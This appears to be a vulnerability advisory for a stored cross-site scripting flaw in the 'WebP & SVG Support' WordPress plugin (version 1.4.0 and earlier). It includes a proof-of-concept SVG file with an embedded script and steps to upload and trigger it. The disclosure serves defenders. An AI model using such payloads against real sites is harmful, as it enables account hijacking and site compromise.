WebP & SVG Support <= 1.4.0 - Author+ Stored XSS via SVG

2024-06-0500:00:00

Bob Matyas

webp support

svg support

version 1.4.0

stored xss

svg upload

code reference

exploit

6.2 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not sanitise uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.

Upload an SVG with the following markup:

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS");
  </script>
</svg>
```

Load the SVG and see the XSS.

Code reference:
https://plugins.trac.wordpress.org/browser/webp-svg-support/trunk/core/bootstrap.php#L111